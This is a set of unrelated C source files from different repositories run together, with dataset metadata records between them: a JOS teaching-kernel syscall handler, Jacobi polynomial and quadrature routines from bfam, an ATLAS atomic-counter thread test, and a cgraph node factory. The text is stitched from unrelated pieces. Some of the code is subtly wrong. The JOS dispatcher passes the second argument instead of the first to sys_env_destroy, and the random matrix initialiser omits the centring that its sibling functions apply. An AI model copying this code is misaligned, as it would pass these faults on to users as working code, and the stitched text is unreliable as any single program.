#include <inc/error.h>
#include <inc/string.h>
#include <inc/assert.h>
#include <kern/env.h>
#include <kern/pmap.h>
#include <kern/trap.h>
#include <kern/syscall.h>
#include <kern/console.h>
// Print a string to the system console.
// The string is exactly 'len' characters long.
// Destroys the environment on memory errors.
static void
sys_cputs(const char *s, size_t len)
{
// Check that the user has permission to read memory [s, s+len).
// Destroy the environment if not.
// LAB 3: Your code here.
user_mem_assert(curenv, s, len, PTE_U);
// Print the string supplied by the user.
cprintf("%.*s", len, s);
}
// Read a character from the system console without blocking.
// Returns the character, or 0 if there is no input waiting.
static int
sys_cgetc(void)
{
return cons_getc();
}
// Returns the current environment's envid.
static envid_t
sys_getenvid(void)
{
return curenv->env_id;
}
// Destroy a given environment (possibly the currently running environment).
//
// Returns 0 on success, < 0 on error. Errors are:
// -E_BAD_ENV if environment envid doesn't currently exist,
// or the caller doesn't have permission to change envid.
static int
sys_env_destroy(envid_t envid)
{
int r;
struct Env *e;
if ((r = envid2env(envid, &e, 1)) < 0)
return r;
if (e == curenv)
cprintf("[%08x] exiting gracefully\n", curenv->env_id);
else
cprintf("[%08x] destroying %08x\n", curenv->env_id, e->env_id);
env_destroy(e);
return 0;
}
// Dispatches to the correct kernel function, passing the arguments.
int32_t
syscall(uint32_t syscallno, uint32_t a1, uint32_t a2, uint32_t a3, uint32_t a4, uint32_t a5)
{
// Call the function corresponding to the 'syscallno' parameter.
// Return any appropriate return value.
// LAB 3: Your code here.
switch(syscallno) {
case SYS_cputs:
sys_cputs((char*) a1, a2);
break;
case SYS_cgetc:
return sys_cgetc();
case SYS_env_destroy:
return sys_env_destroy(a2);
case SYS_getenvid:
return sys_getenvid();
default:
return -E_INVAL;
}
return 0;
// panic("syscall not implemented");
}
| 2.78125 | 3 |
2024-11-18T20:50:31.024052+00:00 | 2015-04-22T23:05:48 | 834478cc4bf200bee268ba6b437f322cef12dc62 | {
"blob_id": "834478cc4bf200bee268ba6b437f322cef12dc62",
"branch_name": "refs/heads/master",
"committer_date": "2015-04-22T23:05:48",
"content_id": "5c7e11f5517778ce5c4a608f741e125222c37097",
"detected_licenses": [
"Unlicense"
],
"directory_id": "285d6b18e0749f3eb9178346320e9d575e80a93d",
"extension": "c",
"filename": "bfam_jacobi.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 13766,
"license": "Unlicense",
"license_type": "permissive",
"path": "/src/bfam_jacobi.c",
"provenance": "stackv2-0118.json.gz:43554",
"repo_name": "skyopener/bfam",
"revision_date": "2015-04-22T23:05:48",
"revision_id": "2e1f730d7119236791991c84b2916683790d5de6",
"snapshot_id": "adea449ac714a126ac0fd4fe720748b3810c562e",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/skyopener/bfam/2e1f730d7119236791991c84b2916683790d5de6/src/bfam_jacobi.c",
"visit_date": "2020-12-27T07:26:26.986317"
} | stackv2 | #include <bfam_base.h>
#include <bfam_jacobi.h>
#include <bfam_util.h>
/*
* This function computes the normalization of the Jacobi polynomial
* $\left\{h_N^{(\alpha,\beta)}\right\}^{-\frac12}$ where [see @Szego39
* (4.3.3)]
*
* $$
* \begin{aligned}
* h_N^{(\alpha,\beta)} &=
* \int_{-1}^{+1} (1-x)^{\alpha} (1+x)^{\beta}
* \left\{P_N^{(\alpha,\beta)} (x)\right\}^2 \, dx \\
* &=
* \frac{2^{\alpha+\beta+1}}{2N+\alpha+\beta+1}
* \frac{\Gamma(N+\alpha+1)\Gamma(N+\beta+1)}
* {\Gamma(N+\alpha+\beta+1)\Gamma(N+1)}.
* \end{aligned}
* $$
*/
static bfam_long_real_t bfam_jacobi_h_inv_sqrt(bfam_long_real_t alpha,
bfam_long_real_t beta, int N)
{
BFAM_ASSERT(N >= 0);
BFAM_ASSERT(alpha >= BFAM_LONG_REAL(-1.0));
BFAM_ASSERT(beta >= BFAM_LONG_REAL(-1.0));
BFAM_ASSERT(!(BFAM_LONG_REAL_APPROX_EQ(alpha, BFAM_LONG_REAL(-0.5), 10) &&
BFAM_LONG_REAL_APPROX_EQ(beta, BFAM_LONG_REAL(-0.5), 10)));
bfam_long_real_t lgn = -(alpha + beta + 1) * BFAM_LONG_REAL_LOG(2) -
BFAM_LONG_REAL_LGAMMA(N + alpha + 1) -
BFAM_LONG_REAL_LGAMMA(N + beta + 1) +
BFAM_LONG_REAL_LOG(2 * N + alpha + beta + 1) +
BFAM_LONG_REAL_LGAMMA(N + 1) +
BFAM_LONG_REAL_LGAMMA(N + alpha + beta + 1);
return BFAM_LONG_REAL_SQRT(BFAM_LONG_REAL_EXP(lgn));
}
/*
* This function evaluates the orthonormal polynomial $p_N(x)$ associated with
* the Jacobi polynomial where $p_N(x) =
* \left\{h_N^{(\alpha,\beta)}\right\}^{-\frac12} P_N^{(\alpha,\beta)} (x)$.
*
* The Jacobi polynomials are a set of polynomial functions for $\alpha > -1$,
* $\beta > -1$, and $N$ a non-negative integer. The functions are defined
* on $[-1, +1]$ and orthogonal with respect to the weight function
* $$w(x)=(1-x)^\alpha(1+x)^\beta.$$ Here we use the same normalization as
* @Szego39, i.e., $P_N^{(\alpha,\beta)}(1) = {n+\alpha\choose n}$. Thus we
* have
* $$
* \int_{-1}^{+1} p_N(x) p_M(x) w(x) \, dx = \delta_{NM}.
* $$
*
* The three term recurrence relation arrived at by rearranging @Szego39
* [(4.5.1)] is
* $$
* P_n^{(\alpha,\beta)}(x) = (ax-b) P_{n-1}^{(\alpha,\beta)}(x)
* - c P_{n-2}^{(\alpha,\beta)}
* $$
* where
* $$
* \begin{aligned}
* a &= \frac{(2n + \alpha + \beta -1)(2n + \alpha + \beta)}
* {2n (n + \alpha + \beta)} \\
* b &= \frac{(\beta^2 - \alpha^2)(2n + \alpha + \beta - 1)}
* {2n(n + \alpha + \beta)(2n + \alpha + \beta - 2)} \\
* c &= \frac{(n + \alpha - 1)(n + \beta - 1)(2n + \alpha + \beta)}
* {n(n + \alpha + \beta)(2n + \alpha + \beta - 2)}
* \end{aligned}
* $$
* with $P_0^{(\alpha,\beta)}(x) = 1$ and
* $P_1^{(\alpha,\beta)}(x) = \frac12(\alpha + \beta + 2)x
* + \frac12(\alpha - \beta)$.
*/
void bfam_jacobi_p(bfam_long_real_t alpha, bfam_long_real_t beta, int N,
size_t nx, bfam_long_real_t *x, bfam_long_real_t *P)
{
BFAM_ASSERT(N >= 0);
BFAM_ASSERT(alpha >= BFAM_LONG_REAL(-1.0));
BFAM_ASSERT(beta >= BFAM_LONG_REAL(-1.0));
BFAM_ASSERT(!(BFAM_LONG_REAL_APPROX_EQ(alpha, BFAM_LONG_REAL(-0.5), 10) &&
BFAM_LONG_REAL_APPROX_EQ(beta, BFAM_LONG_REAL(-0.5), 10)));
for (size_t i = 0; i < nx; ++i)
{
bfam_long_real_t P_n_2;
bfam_long_real_t P_n_1 = 1;
bfam_long_real_t P_n_0 =
((alpha + beta + 2) / 2) * x[i] + (alpha - beta) / 2;
if (N == 0)
{
P[i] = P_n_1;
}
else if (N == 1)
{
P[i] = P_n_0;
}
else
{
for (int n = 2; n < N + 1; ++n)
{
bfam_long_real_t a = (2 * n + alpha + beta - 1) *
(2 * n + alpha + beta) /
(2 * n * (n + alpha + beta));
bfam_long_real_t b =
(beta * beta - alpha * alpha) * (2 * n + alpha + beta - 1) /
(2 * n * (n + alpha + beta) * (2 * n + alpha + beta - 2));
bfam_long_real_t c =
(n + alpha - 1) * (n + beta - 1) * (2 * n + alpha + beta) /
(n * (n + alpha + beta) * (2 * n + alpha + beta - 2));
P_n_2 = P_n_1;
P_n_1 = P_n_0;
P_n_0 = (a * x[i] - b) * P_n_1 - c * P_n_2;
}
P[i] = P_n_0;
}
}
/*
* Normalize the Jacobi polynomials
*/
bfam_long_real_t h_inv_sqrt = bfam_jacobi_h_inv_sqrt(alpha, beta, N);
for (size_t i = 0; i < nx; ++i)
P[i] *= h_inv_sqrt;
return;
}
/*
* This function evaluates the derivative of the orthonormal polynomial
* $p_N(x)$ associated with the Jacobi polynomial where
* $p_N(x) = \left\{h_N^{(\alpha,\beta)}\right\}^{-\frac12}
* P_N^{(\alpha,\beta)} (x)$.
*
* For the evaluation of the derivative we use the identity
* $$
* \frac{d}{dx} P_N^{(\alpha,\beta)} (x) =
* \frac{N+\alpha+\beta+1}{2} P_{N-1}^{(\alpha+1,\beta+1)} (x)
* $$
* along with
* $$
* h_N^{(\alpha,\beta)} =
* \frac{N+\alpha+\beta+1}{4N} h_{N-1}^{(\alpha+1,\beta+1)}
* $$
* to get
* $$
* \begin{aligned}
* \frac{d}{dx} p_N^{(\alpha,\beta)} (x)
* &= \left\{h_N^{(\alpha,\beta)}\right\}^{-\frac12}
* \frac{d}{dx} P_N^{(\alpha,\beta)} (x) \\
* &= \left\{h_N^{(\alpha,\beta)}\right\}^{-\frac12}
* \frac{N+\alpha+\beta+1}{2}
* P_{N-1}^{(\alpha+1,\beta+1)} (x) \\
* &= \left(\frac{4N}{N+\alpha+\beta+1}\right)^{\frac12}
* \frac{N+\alpha+\beta+1}{2}
* \left\{h_{N-1}^{(\alpha+1,\beta+1)}\right\}^{-\frac12}
* P_{N-1}^{(\alpha+1,\beta+1)} (x) \\
* &= \left(N(N+\alpha+\beta+1)\right)^{\frac12}
* p_{N-1}^{(\alpha+1,\beta+1)} (x).
* \end{aligned}
* $$
*/
void bfam_grad_jacobi_p(bfam_long_real_t alpha, bfam_long_real_t beta, int N,
size_t nx, bfam_long_real_t *x, bfam_long_real_t *dP)
{
BFAM_ASSERT(N >= 0);
BFAM_ASSERT(alpha >= BFAM_LONG_REAL(-1.0));
BFAM_ASSERT(beta >= BFAM_LONG_REAL(-1.0));
if (N == 0)
{
for (size_t i = 0; i < nx; ++i)
{
dP[i] = BFAM_LONG_REAL(0.0);
}
}
else
{
bfam_jacobi_p(alpha + 1, beta + 1, N - 1, nx, x, dP);
bfam_long_real_t scale = BFAM_LONG_REAL_SQRT(N * (N + alpha + beta + 1));
for (size_t i = 0; i < nx; ++i)
{
dP[i] *= scale;
}
}
return;
}
static void bfam_jacobi_gauss_quadrature_half(bfam_long_real_t alpha,
bfam_long_real_t beta, int N,
int half,
bfam_long_real_t *restrict x,
bfam_long_real_t *restrict w)
{
BFAM_ASSERT(N >= 0);
BFAM_ASSERT(alpha >= BFAM_LONG_REAL(-1.0));
BFAM_ASSERT(beta >= BFAM_LONG_REAL(-1.0));
BFAM_ASSERT(!(BFAM_LONG_REAL_APPROX_EQ(alpha, BFAM_LONG_REAL(-0.5), 10) &&
BFAM_LONG_REAL_APPROX_EQ(beta, BFAM_LONG_REAL(-0.5), 10)));
const int MAX_ITERATIONS = 200;
int nk = (half) ? (((N + 1) % 2) ? (N + 1) / 2 + 1
: (N + 1) / 2) /* ceil((N + 1)/2) */
: (N + 1) / 2; /* floor((N + 1)/2) */
if (nk == 0)
return;
bfam_long_real_t tworho = 2 * (N + 1) + alpha + beta + 1;
bfam_long_real_t *tmp;
bfam_long_real_t *restrict theta0 =
bfam_malloc_aligned(nk * sizeof(bfam_long_real_t));
bfam_long_real_t *restrict theta1 =
bfam_malloc_aligned(nk * sizeof(bfam_long_real_t));
bfam_long_real_t *restrict p0 =
bfam_malloc_aligned(nk * sizeof(bfam_long_real_t));
bfam_long_real_t *restrict dp0 =
bfam_malloc_aligned(nk * sizeof(bfam_long_real_t));
BFAM_ASSUME_ALIGNED(theta0, 32);
BFAM_ASSUME_ALIGNED(theta1, 32);
BFAM_ASSUME_ALIGNED(p0, 32);
BFAM_ASSUME_ALIGNED(dp0, 32);
/*
* Use Gatteschi and Pittaluga's approximation for the roots of the Jacobi
* polynomials as an initial guess. See equation (3.19) of
* Nicholas Hale and Alex Townsend ``Fast and Accurate Computation of
* Gauss–Legendre and Gauss–Jacobi Quadrature Nodes and Weights'' SIAM J.
* SCI. COMPUT. Vol. 35, No. 2, pp. A652–A674.
*/
for (int k = nk; k > 0; --k)
{
int khat = (half) ? nk - k : k - 1;
bfam_long_real_t phik =
(2 * k + alpha - BFAM_LONG_REAL(0.5)) * BFAM_LONG_REAL_PI / tworho;
theta1[khat] = phik +
1 / (tworho * tworho) *
((BFAM_LONG_REAL(0.25) - alpha * alpha) * 1 /
BFAM_LONG_REAL_TAN(BFAM_LONG_REAL(0.5) * phik) -
(BFAM_LONG_REAL(0.25) - beta * beta) *
BFAM_LONG_REAL_TAN(BFAM_LONG_REAL(0.5) * phik));
}
/*
* Use Newton's method for finding the roots of the Jacobi polynomial.
*/
int converged = 0;
for (int i = 0; i < MAX_ITERATIONS; ++i)
{
tmp = theta0;
theta0 = theta1;
theta1 = tmp;
for (int k = 0; k < nk; ++k)
{
x[k] = BFAM_LONG_REAL_COS(theta0[k]);
}
bfam_jacobi_p(alpha, beta, N + 1, nk, x, p0);
bfam_grad_jacobi_p(alpha, beta, N + 1, nk, x, dp0);
for (int k = 0; k < nk; ++k)
{
theta1[k] = theta0[k] - p0[k] / (-BFAM_LONG_REAL_SIN(theta0[k]) * dp0[k]);
}
int diff = 0;
for (int k = 0; k < nk; ++k)
{
diff += !BFAM_LONG_REAL_APPROX_EQ(theta0[k], theta1[k], 10);
}
if (!diff)
{
converged = 1;
break;
}
}
BFAM_ABORT_IF(
!converged,
"Newton's method does not converge when computing Jacobi Gauss points");
/*
* Nodes
*/
for (int k = 0; k < nk; ++k)
{
x[k] = BFAM_LONG_REAL_COS(theta1[k]);
}
/*
* Weights
*/
bfam_grad_jacobi_p(alpha, beta, N + 1, nk, x, dp0);
for (int k = 0; k < nk; ++k)
{
bfam_long_real_t sint = BFAM_LONG_REAL_SIN(theta1[k]);
w[k] = tworho / (sint * sint * dp0[k] * dp0[k]);
}
bfam_free_aligned(theta0);
bfam_free_aligned(theta1);
bfam_free_aligned(p0);
bfam_free_aligned(dp0);
return;
}
void bfam_jacobi_gauss_quadrature(bfam_long_real_t alpha, bfam_long_real_t beta,
int N, bfam_long_real_t *restrict x,
bfam_long_real_t *restrict w)
{
int nk_floor = (N + 1) / 2; /* floor((N + 1)/2) */
bfam_jacobi_gauss_quadrature_half(alpha, beta, N, 1, x + nk_floor,
w + nk_floor);
bfam_jacobi_gauss_quadrature_half(beta, alpha, N, 0, x, w);
for (int k = 0; k < nk_floor; ++k)
x[k] *= -1;
return;
}
void bfam_jacobi_gauss_lobatto_quadrature(bfam_long_real_t alpha,
bfam_long_real_t beta, int N,
bfam_long_real_t *restrict x,
bfam_long_real_t *restrict w)
{
BFAM_ASSERT(N >= 1);
x[0] = -1;
x[N] = 1;
if (N > 1)
{
bfam_jacobi_gauss_quadrature(alpha + 1, beta + 1, N - 2, x + 1, w + 1);
}
bfam_jacobi_p(alpha, beta, N, N + 1, x, w);
bfam_long_real_t fac =
(2 * N + alpha + beta + 1) / (N * (N + alpha + beta + 1));
for (int k = 0; k < N + 1; ++k)
{
w[k] = fac / (w[k] * w[k]);
}
w[0] *= (1 + beta);
w[N] *= (1 + alpha);
return;
}
void bfam_jacobi_p_vandermonde(bfam_long_real_t alpha, bfam_long_real_t beta,
int N, size_t nx, bfam_long_real_t *x,
bfam_long_real_t *V)
{
for (int j = 0; j <= N; ++j)
bfam_jacobi_p(alpha, beta, j, nx, x, V + j * nx);
return;
}
void bfam_grad_jacobi_p_vandermonde(bfam_long_real_t alpha,
bfam_long_real_t beta, int N, size_t nx,
bfam_long_real_t *x, bfam_long_real_t *V)
{
for (int j = 0; j <= N; ++j)
bfam_grad_jacobi_p(alpha, beta, j, nx, x, V + j * nx);
return;
}
void bfam_jacobi_p_interpolation(bfam_long_real_t alpha, bfam_long_real_t beta,
int N, size_t nx, bfam_long_real_t *x,
bfam_long_real_t *V, bfam_long_real_t *I)
{
bfam_long_real_t *Vx =
bfam_malloc_aligned((N + 1) * nx * sizeof(bfam_long_real_t));
bfam_jacobi_p_vandermonde(alpha, beta, N, nx, x, Vx);
bfam_util_forwardslash(nx, N + 1, Vx, V, I);
bfam_free_aligned(Vx);
return;
}
void bfam_jacobi_p_differentiation(bfam_long_real_t alpha,
bfam_long_real_t beta, int N, size_t nx,
bfam_long_real_t *x, bfam_long_real_t *V,
bfam_long_real_t *D)
{
bfam_long_real_t *Vx =
bfam_malloc_aligned((N + 1) * nx * sizeof(bfam_long_real_t));
bfam_grad_jacobi_p_vandermonde(alpha, beta, N, nx, x, Vx);
bfam_util_forwardslash(nx, N + 1, Vx, V, D);
bfam_free_aligned(Vx);
return;
}
void bfam_jacobi_p_mass(bfam_long_real_t alpha, bfam_long_real_t beta, int N,
bfam_long_real_t *V, bfam_long_real_t *M)
{
bfam_long_real_t *I =
bfam_malloc_aligned((N + 1) * (N + 1) * sizeof(bfam_long_real_t));
bfam_long_real_t *invV =
bfam_malloc_aligned((N + 1) * (N + 1) * sizeof(bfam_long_real_t));
bfam_long_real_t *invVT =
bfam_malloc_aligned((N + 1) * (N + 1) * sizeof(bfam_long_real_t));
for (int i = 0; i < (N + 1) * (N + 1); ++i)
I[i] = 0;
for (int i = 0; i < (N + 1) * (N + 1); ++i)
M[i] = 0;
for (int i = 0; i <= N; ++i)
I[(N + 1) * i + i] = 1;
bfam_util_backslash(N + 1, N + 1, V, I, invV);
bfam_util_mtranspose(N + 1, N + 1, invV, N + 1, invVT, N + 1);
bfam_util_mmmult(N + 1, N + 1, N + 1, invVT, N + 1, invV, N + 1, M, N + 1);
bfam_free_aligned(I);
bfam_free_aligned(invV);
bfam_free_aligned(invVT);
return;
}
| 2.78125 | 3 |
2024-11-18T20:50:32.694904+00:00 | 2019-05-07T23:15:00 | 9c4a27f73a00eb86a8c7421e1860fbd84ae37474 | {
"blob_id": "9c4a27f73a00eb86a8c7421e1860fbd84ae37474",
"branch_name": "refs/heads/master",
"committer_date": "2019-05-07T23:15:00",
"content_id": "ff2ef2e7231bd9edbdba01597c5621b3753a03c3",
"detected_licenses": [
"BSD-3-Clause",
"BSD-2-Clause"
],
"directory_id": "af668c07e6877363d706aa002b48b3c87d4f3d42",
"extension": "c",
"filename": "test_count.c",
"fork_events_count": 0,
"gha_created_at": "2019-05-07T23:06:54",
"gha_event_created_at": "2019-05-07T23:06:55",
"gha_language": null,
"gha_license_id": "NOASSERTION",
"github_id": 185490601,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1866,
"license": "BSD-3-Clause,BSD-2-Clause",
"license_type": "permissive",
"path": "/tune/threads/test_count.c",
"provenance": "stackv2-0118.json.gz:43811",
"repo_name": "kevleyski/math-atlas",
"revision_date": "2019-05-07T23:15:00",
"revision_id": "cc36aa7e0362c577739ac507378068882834825e",
"snapshot_id": "20f30d4f039aafc00811a61a1c65087b2b0739e5",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/kevleyski/math-atlas/cc36aa7e0362c577739ac507378068882834825e/tune/threads/test_count.c",
"visit_date": "2020-05-20T09:05:20.638100"
} | stackv2 | #include "atlas_threads.h"
#include "atlas_misc.h"
#include "assert.h"
static volatile char *checkin;
void PrintUsage(char *name)
{
fprintf(stderr, "USAGE: %s [-r <reps>] [-c <cnt>]\n", name);
exit(-1);
}
int GetFlags(int nargs, char **args, int *nreps)
{
int i, cnt=16384;
*nreps = 20;
for (i=1; i < nargs; i++)
{
if (args[i][0] != '-')
PrintUsage(args[0]);
switch(args[i][1])
{
case 'r':
if (++i == nargs)
PrintUsage(args[0]);
*nreps = atoi(args[i]);
break;
case 'c':
if (++i == nargs)
PrintUsage(args[0]);
cnt = atoi(args[i]);
break;
default:
PrintUsage(args[0]);
}
}
return(cnt);
}
void TestDoWork(ATL_LAUNCHSTRUCT_t *lp, void *vp)
{
int i;
ATL_thread_t *tp = vp;
void *acnt = lp->opstruct;
#ifdef ATL_GLOBAL
const int iam = tp->rank;
#endif
do
{
#ifdef ATL_GLOBAL
i = ATL_DecGlobalAtomicCount(acnt, iam);
#else
i = ATL_DecAtomicCount(acnt);
#endif
if (i < 1)
break;
checkin[i-1]++;
}
while(1);
}
int main(int nargs, char **args)
{
int cnt, nreps, i, k;
void *vp;
cnt = GetFlags(nargs, args, &nreps);
checkin = malloc(cnt*sizeof(char));
assert(checkin);
for (i=0; i < nreps; i++)
{
#ifdef ATL_GLOBAL
vp = ATL_SetGlobalAtomicCount(ATL_NTHREADS, cnt, 0);
#else
vp = ATL_SetAtomicCount(cnt);
#endif
for (k=0; k < cnt; k++)
checkin[k] = 0;
ATL_goparallel(ATL_NTHREADS, TestDoWork, vp, NULL);
for (k=0; k < cnt; k++)
assert(checkin[k] == 1);
#ifdef ATL_GLOBAL
ATL_FreeGlobalAtomicCount(vp);
#else
ATL_FreeAtomicCount(vp);
#endif
}
printf("TEST PASSED\n");
return(0);
}
| 2.671875 | 3 |
2024-11-18T20:50:33.149257+00:00 | 2019-02-26T14:00:48 | c6ea5e162d5eda3257f4ae5f8f5410ca15e21f08 | {
"blob_id": "c6ea5e162d5eda3257f4ae5f8f5410ca15e21f08",
"branch_name": "refs/heads/master",
"committer_date": "2019-02-26T14:00:48",
"content_id": "911c3b44e238de062684d80a748b1f492769aa52",
"detected_licenses": [
"BSD-3-Clause",
"BSD-2-Clause"
],
"directory_id": "6175d0b23662e67179785f27bb183f5e46c3a7c6",
"extension": "c",
"filename": "cg_factory.c",
"fork_events_count": 2,
"gha_created_at": "2018-01-06T14:16:30",
"gha_event_created_at": "2019-02-26T14:00:50",
"gha_language": "C",
"gha_license_id": "NOASSERTION",
"github_id": 116488433,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 18861,
"license": "BSD-3-Clause,BSD-2-Clause",
"license_type": "permissive",
"path": "/source/libcgraph/source/cg_factory.c",
"provenance": "stackv2-0118.json.gz:44068",
"repo_name": "praisethemoon/cgraph",
"revision_date": "2019-02-26T14:00:48",
"revision_id": "ff5ff885dcddc19cfe1c6a21550a39c19684680f",
"snapshot_id": "3ab4a01edf056121fa273a86d2cf39bcfabded51",
"src_encoding": "UTF-8",
"star_events_count": 9,
"url": "https://raw.githubusercontent.com/praisethemoon/cgraph/ff5ff885dcddc19cfe1c6a21550a39c19684680f/source/libcgraph/source/cg_factory.c",
"visit_date": "2021-04-24T22:08:13.830137"
} | stackv2 |
#include <inttypes.h>
#include <stdlib.h>
#include <time.h>
#include <assert.h>
#include "cgraph.h"
#include "cg_operation.h"
#include "cg_types.h"
#include "cg_variables.h"
#include "cg_factory.h"
#include "cg_enums.h"
#include "vec.h"
#include "map.h"
#include "random.h"
#define CHECK_ERROR(err) \
if (err != NULL) { fprintf(stderr, "\n%s\n", err->message); exit(-1); }
#ifdef CG_USE_OPENCL
#include <cf4ocl2.h>
extern CCLContext * ctx;
#endif
cg_float* vcopy(uint64_t len, const cg_float* data){
cg_float* newdata = calloc(len, sizeof(cg_float));
memcpy(newdata, data, len*sizeof(cg_float));
return newdata;
}
CGNode* makeVarNode(char* name){
CGVariable* var = calloc(1, sizeof(CGVariable));
var->name = name;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_VARIABLE;
node->var = var;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeDoubleConstantNode(cg_float value){
CGDouble* d = calloc(1, sizeof(CGDouble));
d->value = value;
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_DOUBLE;
c->value = d;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeVectorConstantNode(uint64_t len, cg_float* value){
CGVector* v = calloc(1, sizeof(CGVector));
v->data = value;
v->len = len;
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_VECTOR;
c->value = v;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeMatrixConstantNode(uint64_t rows, uint64_t cols, cg_float* value){
CGMatrix* m = calloc(1, sizeof(CGMatrix));
m->data = value;
m->rows = rows;
m->cols = cols;
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_MATRIX;
c->value = m;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeVectorConstantNodeCopy(uint64_t len, cg_float* value){
return makeVectorConstantNode(len, cg_raw_copy(value, len));
}
CGNode* makeMatrixConstantNodeCopy(uint64_t rows, uint64_t cols, cg_float* value){
return makeMatrixConstantNode(rows, cols, cg_raw_copy(value, cols*rows));
}
CGNode* makeZeroDoubleConstantNode(){
CGDouble* d = calloc(1, sizeof(CGDouble));
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_DOUBLE;
c->value = d;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeZeroVectorConstantNode(uint64_t len){
CGVector* v = calloc(1, sizeof(CGVector));
v->len = len;
v->data = calloc(len, sizeof(cg_float));
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_VECTOR;
c->value = v;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeZeroMatrixConstantNode(uint64_t rows, uint64_t cols){
CGMatrix* m = calloc(1, sizeof(CGMatrix));
m->data = calloc(rows*cols, sizeof(cg_float));
m->rows = rows;
m->cols = cols;
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_MATRIX;
c->value = m;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
#define TEST_SEED 54321U
CGNode* makeRandomDoubleConstantNode(){
CGDouble* d = calloc(1, sizeof(CGDouble));
MT mt;
init_genrand(&mt, time(NULL));
d->value = genrand_res53(&mt);
d->value = (d->value - 0.5)/10;
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_DOUBLE;
c->value = d;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeRandomVectorConstantNode(uint64_t len){
CGVector* v = calloc(1, sizeof(CGVector));
v->len = len;
v->data = calloc(len, sizeof(cg_float));
uint64_t i = 0;
MT mt;
init_genrand(&mt, time(NULL));
for(;i<len;i++){
v->data[i] = (genrand_res53(&mt) - 0.5)/10;
}
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_VECTOR;
c->value = v;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeRandomMatrixConstantNode(uint64_t rows, uint64_t cols){
CGMatrix* m = calloc(1, sizeof(CGMatrix));
m->data = calloc(rows*cols, sizeof(cg_float));
m->rows = rows;
m->cols = cols;
uint64_t i = 0;
MT mt;
init_genrand(&mt, time(NULL));
for(;i<rows*cols;i++){
m->data[i] = (genrand_res53(&mt))/10;
}
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_MATRIX;
c->value = m;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeOnesDoubleConstantNode(){
CGDouble* d = calloc(1, sizeof(CGDouble));
d->value=1;
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_DOUBLE;
c->value = d;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeOnesVectorConstantNode(uint64_t len){
CGVector* v = calloc(1, sizeof(CGVector));
v->len = len;
v->data = calloc(len, sizeof(cg_float));
uint64_t i = 0;
for(;i<len;v->data[i++]=1);
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_VECTOR;
c->value = v;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeOnesMatrixConstantNode(uint64_t rows, uint64_t cols){
CGMatrix* m = calloc(1, sizeof(CGMatrix));
m->data = calloc(rows*cols, sizeof(cg_float));
m->rows = rows;
m->cols = cols;
uint64_t i = 0;
for(;i<cols*rows;m->data[i++]=1);
CGPConstant* c = calloc(1, sizeof(CGPConstant));
c->type = CGVT_MATRIX;
c->value = m;
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_CONSTANT;
node->constant = c;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeGraphNode(CGraph* graph){
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_GRAPH;
node->graph = graph;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeBinaryOpNode(CGBinaryOperationType type, CGNode* lhs, CGNode* rhs){
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_BINARY_OPERATION;
node->bop = calloc(1, sizeof(CGBinaryOperation));
node->bop->type = type;
node->bop->lhs = lhs;
node->bop->rhs = rhs;
node->result = NULL;
node->diff = NULL;
return node;
}
CGNode* makeUnaryOpNode(CGUnaryOperationType type, CGNode* uhs){
CGNode* node = calloc(1, sizeof(CGNode));
node->type = CGNT_UNARY_OPERATION;
node->uop = calloc(1, sizeof(CGUnaryOperation));
node->uop->type = type;
node->uop->uhs = uhs;
node->result = NULL;
node->diff = NULL;
return node;
}
